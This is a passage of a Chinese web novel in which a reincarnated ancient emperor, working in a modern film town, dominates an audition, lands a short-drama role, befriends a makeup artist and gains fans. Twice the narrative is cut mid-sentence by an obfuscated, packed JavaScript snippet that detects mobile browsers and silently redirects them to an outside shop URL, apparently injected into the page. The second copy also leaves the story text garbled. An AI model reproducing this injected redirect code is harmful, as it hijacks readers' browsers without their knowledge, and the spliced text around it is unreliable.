烛天南环顾四周,然而所有人都只是愣愣地看着她发呆,连手上的事情都忘记做了,不由得有点奇怪。 刚刚不是还在催她吗? 她望向离她最近的人,一个手上拿着宫装的女生,二十来岁,丽姐。她脸上飘着两朵红云,不敢与烛天南对视,声若蚊蝇:“没事,我不急。” “砰。”化妆室的门开了,气喘吁吁跑来的助理正好听见了丽姐的话,一脸不可思议,说:“丽姐,你的声音怎么这么夹?而且,我们还有半个小时就要开始了。” “知道了,你不要冒冒失失了。”丽姐本想反驳助理,但是一看见烛天南,便变得十分温婉。 助理震惊,视线滑到了一旁的烛天南身上,眼里划过惊艳,语气也不由自主跟丽姐一样,变得温婉,道:“没事,我们不急,你慢慢来。” 烛天南不去细究。她让开了位置,嘱咐丽姐:“里面可能有点挤,你小心点,别受伤了。” 丽姐听完,嘴角疯狂上扬,略带娇羞地说:“嗯……知道了。” 说完,她然后捂着脸,笑了几声,小跑进了试衣间。 烛天南不解,她看向小圆,小圆眼睛放光,拉过烛天南,将她摁在椅子上,嘴里止不住赞叹:“女娲的手艺,果然还是很靠谱的。” 接下来的时光,烛天南明显感觉到集中在她身上的视线多了很多,小圆也忙了很多,不但要帮她化妆,还要帮其他人开眼影盒、腮红盒。 好在烛天南的先天条件十分优越,小圆只需要帮她把发型整理好,再稍微给她提点气色,就可以了。 烛天南在那里干坐着,被众人若有若无的目光注视着,只能面带礼貌的微笑,与每一道目光礼貌点头。 于是,所有与她对视的人,无论男女,都会掩住嘴巴,发出一串银铃般的笑声,然后捂脸娇羞离开。 烛天南:? 【滴~真爱粉数量,+23】 很快就轮到烛天南的面试时间了,正好,小圆也放下了化妆刷,身体后仰,眯着眼睛打量了一番烛天南后,啧啧赞叹道:“真是太完美了。” 烛天南看向化妆镜。镜中的人身披黄袍,束发冠冕。剑眉入发鬓,英气逼人。凤眸上扬,眼神锐利又不失古典的韵味,鼻梁挺直,朱唇微抿。 看起来威风堂堂,霸气侧漏,好似位高权重的九五之尊重现人间,让人忍不住心生畏惧。 烛天南微微发愣。 与她上辈子的长相相同——不过,她换衣服的时候,没有看到自己身上有任何伤疤。 黄导已经偷偷派人过来催促她了。 小圆以为烛天南紧张,握紧拳头,为她加油,道:“加油,你可以的。” 周围的人也狠狠地点头,安慰她:“相信自己。” 回过神来的烛天南,环顾四周,便迎上了周围人鼓励的眼神。 他们是不是误会什么了? 4. 第 4 章 当烛天南赶到的时候,方格还在面试。他试戏的内容是,皇帝跟自己的亲信谋局,准备擒拿将军的戏码。 为了演出深沉的感觉,方格刻意压着嗓子,带着点气泡音,想演出霸道皇帝,但却成了引擎坏掉的拖拉机。 他背手,故作高深地:“朕心中有数,爱卿们不必多说。” 只可惜,同样的戏服,却因方格的脸型消瘦,身形单薄,显得过于庞大。不仅压不住明黄色的龙袍,反而还有种奸佞之相,恰似心存谋反之心的公公。 坐成一排的面试官们皱着眉头,黄导闭上眼睛不忍直视,同时双手紧握,有点紧张。 编剧甚至懒得看方格,低头刷手机。 实际上,这场面试只是走个流程——该定的角色都已经内定下来了,因此无论台上的人演得多么夸张,他们都无动于衷。 一时间,整个面试房间只有风扇咔吱的转动声。 方格兢兢业业,继续自己的无实物表演。 诡异的平衡持续了很久,直到—— 站在门口的工作人员的余光中看见有亮黄色的布料翻飞,有人缓缓步入其中。他抬头望向来人时,眼睛划过一道惊艳的光,情不自禁地说:“皇上驾到。” 话说出口时,工作人员有点懵。 咦,他怎么就水灵灵地干了太监的活? 这一嗓子唤醒了一旁昏昏欲睡的面试官们,也打断了在台上表演的方格。 所有人都看向门口,不由而同深吸一口气。 一道明黄色的身影缓缓步入其中。步伐悠闲,又格外典雅,明黄的衣摆宛若翩跹的黄蝴蝶,又如同镶嵌在游龙身上的麟片,衬得来人有种腾云驾雾,圣辉普照的霸气之感。 她一手虚置腹前,另一只手背后,昂首提胸,如迎风不屈的寒松般挺拔。嘴角勾起浅浅笑意,然而眼底一片冰凉。 方格毫无防备地迎上了她的眼睛,顿时全身发冷,入坠冰窖。 怎么可能?! 他忘了任何的表情管理,眼睛慌乱地移开,嘴巴因惊讶而忘记合上。他的心中翻涌起惊骇的浪涛——烛天南真的会演戏。 编剧扣住了手机,坐正身体,带了点期待。 面试官们也睡意全无,专心致志地看着她。 两个皇帝同时在场,两人都站着。只不过烛天南的动作浑然天成,举手投足之间都有着皇家贵族出生的优雅和霸气。而方格尽力挺直背,也拉不回向前伸的脖子,努力端着架子,多了几分刻意。 孰好孰坏,一目了然。 方格有些狼狈地嘴硬道:“大胆,逆臣你怎敢在我面前穿龙袍……” 烛天南瞥了他一眼。 方格瞬间噤若寒蝉,打了个冷颤。 烛天南走的速度并不快,然而压迫感十足,每一步都像是踩在了方格的心上。 方格心中一跳,嘴巴不自觉地颤抖,然而烛天南径直地穿过他,坐上了皇座。 他颤颤巍巍地抬头,正好对上烛天南似笑非笑的凤眸,仿佛在等着他解释。 ——解释他身上的龙袍,是哪里来的,以及为什么穿在他的身上。 顶着烛天南的威压,方格支支吾吾,说不出话。 室内的灯光明亮,将一切照得分明清楚。可在场的所有人,从她的似笑非笑的眼神中,看不出任何东西。 所有人都看不出她的想法,到底是愤怒还是漠视。 面试官心中的疑惑转而变成了释然和欣赏。确实,皇帝的心思,怎么可能这么容易就被人猜到? 编剧不由自主地点点头,坐正了身子,专注地往前倾了身子。 烛天南一句话都没说,却把方格逼到了这个地步。 “爱卿,还想说什么?”烛天南终于开口,毫无任何感情的视线落在方格的身上。就连旁边的人都能感觉到一阵令人心底发颤的威压。 更不用说,就处在暴风雨中心的方格了。 他早已四肢发软,瘫倒在地上。满头大汗也无法盖住他惊恐的表情。 谁也不敢承担帝王之怒。 “既然说不出什么,那就拖下去吧。”烛天南揉了一下太阳穴,给了门口的人一个眼神,门口的人小跑过来,抄起方格的手,就要将他拖出去。 烛天南有点厌烦地挥挥手,道,“按宫里的规矩行事。” 方格被架起来,剧烈地挣扎着,“放开我,我是无辜的呜呜呜。” 烛天南被他的声音吵到了,皱着眉头,门口的人心领神会,无师自通,捂住他的嘴就要将他拖出去。 “好!” “天啊,简直就是理想中的皇帝!怎么会如此相像?!” 编剧激动地站起身来,拍掌。黄导松了口气,旁边的面试官也满意地点点头。 他们都被烛天南出神入化的演技征服了。 只有投资方面色铁青。 烛天南朝他们颔首微笑,方才周遭的压力云消烟散。 “你就是方格吧。”编剧笑盈盈地跑到她的面前,握住她的手,越看越满意,说:“怪不得投资方要你来,还说你的演技炉火纯青、浑然天成!” “就是。我看啊,黄导那家伙推荐的人就不用面了,我们很满意你。” “是不是啊,方总?”编剧望向投资方,哪知,对上了投资方的铁青的脸。 “你们……实在是……”投资方被气得发抖。 面试官等人愣住了。 “我不是方格,我是烛天南。”烛天南站出来挽救局面。她顿了顿,微笑补充,“就是黄导推荐的人。” “那……方格呢?”编剧结结巴巴地说。 “刚刚被拖出去了。”她一脸无辜,指向门口,一脸怒火的方格撸起袖子正跑进来。 此话一出,整个房间陷入了震耳欲聋的沉默之中。 投资方皮笑肉不笑地看向编剧,说:“没事的,你继续说。我们不是那么小气的人。” 然而下一秒,他便掏出手机,明晃晃地威胁着他们。 如果编剧等人硬着头皮,继续选择烛天南的话,他就直接撤掉赞助。 完,蛋,了。 所有的人心中飘过了这三个大字。 烛天南也好整以暇地等待他们的回答。 编剧先尴尬地咳嗽两声,眼神止不住地乱飘,掩饰般咳嗽几声,一咬牙,闭眼夸道:“其实……贵公子演得也很好。” “是呀是呀。”周围的面试官们像是也找到了主心骨,纷纷点头附和,“确实……浑然天成,呵呵。” “就连刚刚被吓的样子……也不像是演的……额我是说,演得非常逼真。” 方总的脸色这才缓和下来,没有刚才那么铁青,他意有所指,看向烛天南,问:“那她……” 几个人面面相觑。最终,编剧深吸一口气,试探性地问方总:“她……只不过是一个女生,再者演得太强势了,着实不太合适。” 烛天南噗嗤一笑。 大家全部看向了烛天南,编剧眼神躲闪,黄导不敢看她,方总也不满。 “没想到,新华夏也会有趋炎附势……我还以为,选角全部都靠实力说话呢。”烛天南大大方方地朝黄导点头。 黄导一脸愧疚。 方总已经镇定了,说:“你怕是有所不知,这娱乐圈啊,水很深。这场戏也确实不适合你,所有……” “不必多言。”烛天南伸手制止了方总的话。 方总被人打断,有点愤怒,然而迎上烛天南的眼神时,心里又生了几分寒意,微微发怵。 “古人云,以其昏昏,使人昭昭。让不专业的人做专业的事,这可真是一项‘伟大’的举措呢。也难怪,某些歪风邪气盛行,贤才无法被重任。”烛天南讥讽一笑,看了一眼方格。 方不敢吭声。 烛天南挥袖,背手,再次扫了一眼脸上像是打翻了调色盘的众人后,告辞离开。 走出皇宫,烛天南便迎上小圆期待的眼神。 她还在这里? 烛天南一怔,歉意地摇摇头。 小圆看见烛天南一人走出来,再结合自己对这个剧组里的人的认识,多半猜到烛天南没被选中,便小跑到她面前,出言安慰道:“没事的,只是一次试镜没有通过而已。说不定否极泰来,下次就可以了。” 烛天南没有说话。 小圆以为烛天南被悲伤笼罩了,拍拍她的背,努力安慰:“可能是我化妆的技术不太行,毕竟我也是被同事吐槽画得难看,才来到这里进剧组练手……对了,我今天才见到你,你应该是刚来没多久吧?新人就是这样的……” 烛天南看向远方,黄昏往朱红的宫墙、苍棕的树丫和梨黄色的地砖泼上金光,有种时空错乱,岁月颠倒的假象。 “你别灰心……失败乃兵家常事,不是吗?”小圆见烛天南许久不说话,伸手在她眼前晃了晃,道,“你在想什么呀?” “我?”烛天南回过神来,说,“你……为什么对我这么好?” “因为你长得很好看,超有气质。”小圆嘿嘿一笑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150806|150320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有点不好意思地说,“所以,想跟你做朋友。” “朋友啊……”烛天南喃喃道,像是在咀嚼出这个词的真实含义。 在前世,她为了活着,必须谨小慎微,确保自己的每一步棋都要走对。对他人的信任早已如同从指间漏下的沙粒,被风吹去。 唯数不多能攥紧在手中的沙子,也因出卖了她的亲信而湮灭消亡。 除了……某个人。 小圆却没有注意到烛天南的异样。她数着手指,叽叽喳喳地说:“你看,我们两个都是新人,都在底层摸爬滚打,都从乡下来的。命运让我们在这里相遇,不做个朋友,也太对不起这个缘分了吧,哈哈……” 一阵咕噜声从烛天南的肚子里发出来,打断了小圆。 烛天南面不改色,道:“没事,正常现象……哪里可以用膳?” 她已经一天没有吃饭了。 小圆失笑,轻松地说:“没事,一般情况下,剧组都会备晚餐的。你等着,我去给你拿盒饭。” 说完,她就像一只兔子,蹦蹦跳跳地离开了。 【年轻人好有活力啊。】735感慨道。 “……确实。”烛天南点头。 朋友么…… 她也是第一次见到如此单纯的人——上辈子接触她的人,都是披着“单纯”的皮,总想在她这里获利。 【没关系宿主,柳暗花明又一村。只是失去了这个机会,我们该怎么办……咦,宿主,我们的真爱粉数量怎么又上涨了四个?】735正遗憾错失了机会时,猛然发现了不对劲。 “不知道。大抵是因为朕的魅力本来就很大。”烛天南嘴角微微上扬。 735无语,但是瞬间就被烛天南发现了异常。 “你有意见?”烛天南的声音拔高了。 735从善如流地改口。 【……怎么可能!其他人这么做是鲁莽行事,不顾自身的处境孤注一掷。可是陛下,您不一样,您这么做,是不同流合污。您的美德堪比日光普照大地,您的气节宛若素月高雅脱俗。陛下,圣明!!!】 烛天南很满意735的审时度势,突然她敏锐地察觉到后面有人,便以为是小圆回来了,稍微向后一瞥,身形一顿。 一个戴黑帽子的人,看起来二十出头——烛天南记得,他也在刚刚面试的房间里面。 黑帽子咳嗽几声,问道:“你好,我是拍短剧的,叫万言,你可以叫我万导演。我这里正好有个短剧少了皇帝这个角色,刚刚看了你的表演,感觉你还挺合适的。你愿意来吗?” 烛天南沉吟片刻,道:“如果我没猜错的话,像‘皇帝’这种有身份的角色,一般情况都是内定的吧?” “你说的没错。不过我们短剧原定的那个‘皇帝’,嫌演短剧太掉价了,所以就没来拍。我们今晚就要开拍,再加上我们是拍完戏后,两天内要剪完片子直接播出去的,一时半会儿,还可能找不到符合标准的人。”万导演小心翼翼地开口,看着烛天南的脸,生怕错过了她脸上的任何一丝表情,急切地说,“你放心,片酬好说——一天三百,如何?” “三百?”烛天南并不知道这个世界的物价是什么样的,重复了一遍万导演给的价格。 “这可已经是特约演员的待遇了,还能跟主演有几句对话的台词。”万导演解释道,“虽然我们剧组只是个小成本的短剧,但是大家相处的氛围还是很融洽的。” 烛天南一脸沉思,就是不表态。 万导演心里有点忐忑,于是试探性地问:“你还有什么疑惑的吗?” “包饭吗?”烛天南老实单纯。 “肯定的,包你吃得够。”万导演失声一笑,道,“演得好的话,给你加鸡腿。” “听起来挺好的,那什么时候开始?”烛天南露出笑容,问。 “今晚八点半,演得好的话,很快就能收工的。”万导演松了一口气,“我们交换个联系方式吧。” 烛天南只看见他从口袋里掏出了一个闪闪发光的小盒子,紧接着他开口问:“你的电话号码是多少?” 烛天南:? 不是,等等。 这个亮亮的小盒子是什么? 电话号码又是什么? 735它也没说过啊! 万导演期盼地看着烛天南,催促的话语在烛天南的耳朵里无限放慢,宛若恶魔的低语。 烛天南表面加深扬起的笑容,一脸纯真地看向万导演,内心的小人狂冒冷汗,拼命想找到有没有什么借口。 5. 第 5 章 她总不能直接明牌,她是来自四千多年前的皇帝,没有这些玩意儿吧。 烛天南长时间没有任何动作,脸上的笑容微微僵硬。 万导演眼里的期待已经从慢慢转向疑惑,甚至隐隐有怀疑的味道。 电光火石之间,烛天南脑中灵光一闪,想出了绝妙的理由:“我……其实是来自一个穷乡僻壤、非常落后的小村子里,从没见过这些东西。” 话音刚落,烛天南看着那个发光小盒子,眼神艳羡,神情落寞,像是正在被狂风大雨拍打的叶子,被暴风雨摧残的同时带着一丝坚韧的顽强。 万导演一愣,随即脸上写满了愧疚。 不知道他脑补了什么,他默默地放下背包,从包里翻找出了一个稍微老旧的手机,递给烛天南,说:“你一个人在竖店漂泊,没有手机这些东西的话,难免会不方便。正好我有一个备用机,就送给你了。” 烛天南只是想将这件事情糊弄过去,但是没想到万导演直接送她会小盒子。 于是烛天南百般推脱,无奈地说:“你的好意我心领了,不过,无功不受禄。我还不能拿这个……” “如果你这么想的话,那你就当作我提前给你结了工资吧。”万导演脸上写满了怜悯和同情,不由分说将手机强塞进了烛天南的手里,真诚地说,“虽然没有电话卡,但是里面有一个小Q,竖店有公共免费的wifi,也有剧组用小Q□□流。你要抢角色名额的话,也得要这种工具。你将就用着吧。” “谢谢……”烛天南被塞了手机,想给回去的时候,只见万导演将手背在背后,一副拒绝拿回手机的姿态,哭笑不得,只能收下。 发自内心地感谢他后,烛天南又有点犹豫。 “说吧,还有什么问题?”万导演看出了她的心思。 烛天南清了下喉咙,看着万导演的眼睛,试探性地问,“那……盒饭还包吗?” “包包包,我们绝对能让你吃得饱饱的。”万导演没想到烛天南还在意这个问题,哭笑不得,“这么看重这个。” 都问了两次了。 “民以食为天。”烛天南一本正经地解释。 她以前也是在民间颠沛流离过的,饿过很久。也算是吃过百家饭。即便后来她清楚暗中有人在保护她,但也自然是知道,底层贫穷的百姓连荤菜都不一定吃得起。 而她现在,可能连底层都不如。 万导演笑了几声,声称自己还有事,就先提出离开了。 烛天南开始研究这个小盒子,不知道按到了什么,屏幕突然亮了。 她心一跳,震惊涌上心头。 果然,这里的人不可信!用这种邪术来害她! 烛天南条件反射,下意识松开手机,双手挡住眼前。 “啪嗒”一声,手机被摔倒了地上,安静地躺在了裹着碎砾石的水泥上。 许久,烛天南没有听见任何的动静。 她悄悄地撤开挡在眼前的两只手。 小盒子仍然发着白光。 仅此而已。 烛天南了然,心里的石头落地。 也是。不然,她跟万导演无冤无仇,万导演怎么可能会害她呢——当然,防人之心不可无。 烛天南左顾右盼,见到没有人注意到她这边的异常后,又蹑手蹑脚,将这个东西捡回来。 她又开始捣鼓,眼睛的光也越来越亮。 -- 等小圆拿着饭盒回来的时候,发现烛天南已经开始玩起了某推塔游戏。 “诶,你也玩这个啊?”小圆好奇地凑上前,熟悉的灰□□面,烛天南操控的人物静静地躺在了地上,享受婴儿般的睡眠。 下一刻,手机屏幕里的水晶爆炸,游戏结束。 小圆没忍住,笑出声来,抬眸便看见烛天南生无可恋的神情。她努力憋住笑,将一份饭盒递给她,道:“吃点饭吧。” “谢谢。” 两人就坐在台阶上,见证天幕的颜色渐深,竖店的街道同时亮起灯,就像是天上的星星不小心掉落到人间。 烛天南接过后饭盒后,无从下手。 饭盒外面用了一层透明的东西包裹住了,打不开,看起来不会有人在里面下毒。 但她也不知道怎么打开。 余光中,烛天南瞄了几眼小圆。正好,小圆用筷子,将饭盒的外包装戳破,“噗呲”一声,里面的塑料盒饭露出来了。她再掀开盖子,甩了下粘在盒饭上的水汽后,开始吃了几口饭。 烛天南收回目光,模仿小圆的动作,依葫芦画瓢,拆开饭盒。 清炒土豆丝,梅菜扣肉,红烧狮子头。 勉强还行。 也许是已经饿了一天了,眼前的饭十分诱人。烛天南胃口大开,忍不住大快朵颐。 一不小心,就被噎住了。 烛天南俯下身,费力地咳嗽,眼泪沁出了眼眶。 视线模糊的时候,一双黑亮的皮鞋出现在了她的眼前。 紧接着,是那道熟悉欠扁的声音。 “哼哼,我都说了,你也配跟我竞争角色?像你这种穷酸的人,就应该一辈子待在下水道里,永远当个下层人。”方格嘚瑟极了,如同一只耀武扬威的孔雀。 “你凭什么说我们?”小圆被他的傲慢气到了,站起来指着方格,生气地说,“你别太过分。” “呵呵,你?你也是穷鬼,穷鬼也只能跟穷鬼交朋友。”方格上上下下打量小圆一遍,眼神充满着不屑。 烛天南已经吃完了盒饭。塑料盒干干净净,只有齁咸的梅菜扣肉的汤汁。 她拿着小圆给的纸巾,优雅地擦了一下嘴,恍若上世纪结束进餐的贵族,说出的话却很不客气,道:“劝你最好嘴巴放干净点。以及,最好在我倒数十个数后立马消失……” “略略略,我就不离开,有本事你打我呀。”方格听到这话,只当作烛天南虚张声势,做了个鬼脸,更加嘚瑟,“反正你现在也没有什么戏拍。” 他可不觉得,烛天南有胆子跟他对着干。 “十。”烛天南纸巾塞到饭盒里,盖上盖子,扔到了旁边的垃圾桶里,顺手从一旁的灌木丛中抄出来一根树枝。 方格不屑地翻了个白眼,做鬼脸挑衅。 “九。”烛天南甩了几下树枝,眼睛却直勾勾地盯着方格。 树枝破空声刺耳,明明是打在空气中,却让方格感觉是抽在自己身上的,有种说不出的幻痛。 他咽了咽口水,向后撤几步,但嘴上仍然嚷嚷着:“你别乱来,这是法制社会。你不能打我。” “三。”烛天南无视他说的话,转身走向他。 “不是,九后面不是八吗?你怎么能乱来?”方格没想到烛天南还能来这一招。 他只是路过的时候,恰巧看见了烛天南在这里吃饭,恰好看见她被噎着了的狼狈的模样,恰好心血来潮前来挑衅。 他身旁空无一人。 而烛天南也显然抓住了这一点,面无表情靠近他。 方格见到她一步一步地靠近自己,咽了下口水,缓缓后退,始终与烛天南保持着三米之远,道:“你……你不能打人!打人犯法!你还乱数数!” “一。”烛天南将树枝指向方格,无情地说,“我说是多少,就是多少。既然你不离开,那我就……” 方格只看见眼前的人突然变得特别陌生。眼神冷漠同时还带着杀意,如同残忍的连环变态杀人犯。 不,比杀人犯还要可怕。 她是真的想要杀了自己。 方格的理智催促着自己快点逃跑,可是大脑一片空白。他只能像根扎进土壤里的木头一般,杵在那里,只有她眼里的自己逐渐放大,恍若一张血盆大口。 人被某种古老而又强大的凶兽盯上时,只能僵直不动,陷入应激假死的状态。 眼前的人如同鬼魅般逼近到他的附近,脖子一片凉意。 “不——”他崩溃地大喊,紧闭双眼,好似这样就能阻止死神逼近的脚步。 他死了吗? 等方格回过神来,低下头。 那根树枝架在他的脖子上,挂着的绿叶轻轻晃荡,慢慢恢复平静。 而烛天南的衣袍也随着她的停下,晃荡着停止。 至始至终,无论是木头还是她,都没有碰到方格一分一毫。 更不用提,方格想找茬儿碰瓷烛天南了。 “还不快滚。”烛天南向上抬了几分树枝,逼迫方格抬头,说。 方格瞬间反应过来,如同捡到一条命一般,屁滚尿流、仓皇地跑走,消失在她们视线的尽头。 “朕的身手,还是慢了。”烛天南叹了口气。 如果是以前,她能在沙场上七进七出,以一敌百。 烛天南一转头,发现了不止何时,周围来了六个小姑娘,都冒着星星眼,看着她。 方格离开后,小姑娘们就围上来,涨红着脸,说:“小姐姐,你是娱乐圈的新人吗?” “是的。”烛天南抖了下手中的袍子,将衣服上的皱纹抚平。 小姑娘们互相看了一眼,其中一位鼓起勇气,小心翼翼地开口:“那……我们能跟你拍照吗?” 烛天南微微一笑,道:“当然。” 虽然她并不知道什么是拍照。 那位小姑娘听到这话后,兴奋地掏出一个扁盒子——烛天南现在知道了,这是手机。 然后,小姑娘操纵了几下,手机屏幕竟然呈现出她们几个人的样子。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150807|150320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 烛天南的瞳孔里顿时闪过震惊:这是……会定格的古铜镜?! 但她毕竟曾经身为皇帝,心里素质极高。 烛天南抑制住内心的惊涛骇浪,面上云淡风轻,非常自然地学着其他人的姿势,摆了一个造型。 几个人借着路灯的光,拍了照片。 临走前,烛天南跟她们挥挥手,很自然地侧头眨眼,笑道:“谢谢你们的喜欢,你们回去要注意安全哦。” 结果小姑娘们反而脸涨着通红,捧脸尖叫了,“天南姐姐,陛下!我们爱你!啊啊啊啊!” 【宿主,没想到,你已经无师自通,学会媚粉了。】 “嗯?” 【我是说,有的人媚粉,是从粉丝手里捞钱,甚至睡粉。可是,陛下您不一样!您这是与民同乐,是爱民之君!陛下,纵观历史的长河,也只有您才能担得上第一明君了!】 烛天南满意,转身便看见了冒着粉色泡泡的小圆。 “抱歉,还是牵扯到了你。”烛天南有点歉意。她没想到方格这人如此难缠,也没想到刚认识不久的小圆,会出手帮她。 小圆满不在意地说,“没事,他臭名昭著惯了……我们加一下电话号码吧?” “我电话卡坏掉了。”烛天南淡定地说谎,“我只有小Q。” “那也行。”小圆一愣,拿出手机。 烛天南直接将手机递给她,道:“你来弄吧。” 她暂时还不会这些高科技。 “这辈子,从来都没有人这么信任过我。”小圆却认为这是烛天南相信她的表现,眼睛流泪成了荷包蛋,拉住烛天南的手,深情地问:“姐,你叫什么名字?” “烛天南。”烛天南抽不回自己的手,嘴角抽了抽,这才想起她好像还没自我介绍。 小圆擦了不存在的眼泪,一脸坚毅地说:“那,我,冷冰凝梦萌落圆,誓死守护烛天南。” “当真?”烛天南难以置信地问。 “当真!”小圆锤了两下自己的胸口,以表自己的衷心。 烛天南没想到居然有人会拼上自己的性命来保护自己,不由得又些许动容,望向小圆,深情地说:“那……我,烛天南,也绝对会守护……冰皮奶酪要芋圆?” “是冷冰凝梦萌落园。”她善意地解释道。 “冰冰奶酪有芋圆……咳咳。”烛天南从善如流地改口,说:“我比你大,就还是叫你小圆妹妹吧。” 两人执手相看泪眼,举着两个一次性透明杯子。杯里的水吞入天上的明月素云,轻轻晃荡,它们在水波中荡出长长的尾巴,而后尽入两人肚中。 “姐!”小圆泪眼朦胧。 “妹!”烛天南深情并茂。 “小声点!这里在拍戏。”有人扯着嗓子,打断了两人的情景剧。 两人连忙噤声,相视一笑。 烛天南抬头,看着与以往不大相同的星空,嘴角勾起了浅浅的笑意。 加完好友后,烛天南随口一提:“哦,又有一个剧组找我了,是万导演的。再过一个多小时开拍了。” “可以啊,这么快就拿到了。”小圆惊喜,一边拿出了随身携带的化妆包,道,“万导演他的眼光很高,特别挑剔,最近新拍的剧比黄导的还要火。” “是吗……”烛天南惊讶。 “那当然。黄导那个其实决定权很小,听说是编剧为了还人情而找他来拍的。但是万导的就不同了——他的短剧已经闯进了排行榜前100,超级火,一集至少能赚五十万。” -- 魏安然兴奋地将刚才拍的照片全部发给她的小姐妹们,顺便在小橙书上分享自己的经历。 【家人们,谁懂啊,今天在竖店旅游,居然发现了一个内娱里绝无代餐的演员!玉树临风,丰神俊朗,英姿飒爽。从来没有人能够将那种三分薄凉,三分讥笑,四分漫不经心的贵气用不油腻的方式演出来,更别提,演出来的还是一个女生!】 接下来,配了几张她们的合照,以及之前抓拍的,烛天南击败方格的照片。 也许是魏安然太激动了,拍的时候手抖,照片有些糊。 可这不仅不能掩盖照片里的那道明黄色身影的飒沓风姿,甚至恰恰拍出了拍照者的砰砰心动。 几天后,照片很快小爆了,收藏和点赞量迅速飙升,所有人都赞不绝口,甚至呼吁着内娱的某些明星过来学学。很快这里就掀起了一阵腥风血雨。 有人悄悄尝试扒出她的背景,但是意外地发现,什么都扒不出来——恍若她从没有在这个世界上留下过痕迹。 也刚好,引起了某个人的注意力。他摘掉耳机,看着手机上的照片,紧紧地攥住手机,指间发白。 终于,找到你了。 6. 第 6 章 万导演拿盒饭的时候,黄导已经等候多时。 “是吧,我就说她很厉害吧。”黄导叹了口气,有点遗憾地说,“我本以为我在剧组还是有一定话语权的,可谁知……” “没办法,毕竟是资方塞的人,你也不好拒绝。”万导演拍了拍他的肩膀,说,“不过,你还是有点眼光的,她还挺有范儿的。” “那是,不然我怎么可能会把她带过来?我听说,S市首富,江家有小年轻近期说要演戏,只不过是谁,江家藏得严严实实。我猜,那身气质,只有可能是……”黄导意有所指。 “放心,我看出来了。这年头,怎么可能会有人连手机都没有呢?”万导演耸肩,道,“正好我有一个备用机,也相当于是跟她交个人情吧。” “你也……”黄导微微惊讶,侧脸看向万导演。 万导演无奈地说,“你都看得出来,我怎么可能看不出来?” 真从乡下出来的人,是绝对不可能在面试的时候,演出那副杀伐果决的上位者——那样,只有两种可能。 要么,是烛天南的演技太高深了,自然到连他们这种导演都看不出任何演戏的样子。 要么,便是烛天南的真实身份很高,是在位高权重的家族中长大的,在权力场中浸泡已久。 如果是前者,那么烛天南的未来必定可期;如果是后者,那他们更是惹不起她。 无论是前者还是后者,他们最好的办法就是跟她交好,说不定日后还能跟着飞黄腾达。 “谢了,兄弟。改天我请你喝酒。”万导拍拍黄导,抬腕看了眼时间后,告辞道:“不早了,我先去了。” -- 烛天南早早地来到了拍摄场地,周围已经亮起了反光板和柔光灯。中间夹着几架黑乎乎的机器,烛天南已经知道,那是相机,相当于里面有个画画特别快的画匠。 那几台相机连着几条黑线,拉到了五六米外,那里有好几台方形的设备。万导和编剧正坐在那里,像是在聊天。 烛天南过去,正好他们已经聊完了,将一张纸递给烛天南。 万导笑着说:“这是你目前的台词,给你加了一两句,你背背。” 烛天南接过去。这是短剧的这场戏的全部剧本,讲的就是摄政王王爷和他的小王妃的爱情故事之,初遇。 小王妃是21世纪的杀手穿越回去的,是丞相府中的庶二小姐。王爷看似清闲,实则已经揽获了整个京城的主控制权,除了每当上皇帝以外,跟皇帝没有什么区别。 两人现在在酒宴上相识。宴会中突然遇到刺客。两人携手保护在场的人不被伤害,一去二来被对方伸手惊艳到了。可惜,皇帝最后还是死了,两人携手为皇帝报仇。 从密密麻麻的字中,烛天南依稀找到了几行新加的小字,她的台词。 一共是三句。 第一句,刺客进来了,她喊道:“有刺客,护驾!” 第二句,是刺客逼近她,她喊道,“救命。” 第三句,是她临死前的惨叫一声,“啊。” 烛天南认认真真地记台词。 【陛下,我们还挺赚的诶。台词这么少,工作时间这么短,而且看起来还是大制作诶!】 “不是所有的事情都是这么简单。以我目前的水平和地位,这种程度的戏份,一般是拿不到的。”烛天南很清醒。 她大概猜出来了,这个角色说不定是黄导推荐的,更说不定,是临时加进来的。 接下来,大家按照剧本的走向拍着,几台摄像机围着他们转了几圈。 烛天南喊出了那三句台词后,闭眼倒在地上,口里吐出了血浆。 “咔。”万导演却叫停了,他皱着眉头,想重拍,但是编剧拉了一下他的袖子。 “算了,大家先休息一下吧。”万导演改口,跟编剧激烈地讨论起来了。 烛天南听见“咔”的一声后,等待了几秒,再撑着地,坐直。 行刺她的刺客已经爬起来了,见到烛天南还坐在地上,便向她伸出手。 烛天南道了声谢,借刺客的力直起身来,而后像是想起什么般,问道:“刚刚不好意思,你没受伤吧?” 刚才行刺的时候,刺客吊着威亚,腿不小心磕到了烛天南前面的小茶几上,发出了清脆且令人牙酸的碰撞声。 小茶几差点就代替了刺客,执行了刺杀任务。 “没……没。”刺客的脸咻地通红,有点慌忙地摆着手,后退几步。 可是仓促后退的结果,便是她后脚踩空了。 后面有楼梯,她也吊着威亚,按理来说她会平安无事,不必惊恐。 可她忘了。 刺客的大脑顿时宕机片刻,眼底的惊恐还未浮出水面。 下一秒,她的手腕被烛天南稳稳地抓住了,向后倾倒的身子如同被使用了定格魔法般一动不动,安全感十足。 刺客心慌意乱的同时,抬头,意外闯进了她的眼睛里。 因为要迅速抓住即将掉下去的自己,烛天南戴着的冕旒在她眼前剧烈地晃荡,而她的眼底,原本是一片沉着冷静的海洋,此时浮现了星星点点的笑意。 她的凤眸潋滟着笑意,说话的语气温柔:“还好,我及时抓住你了。” 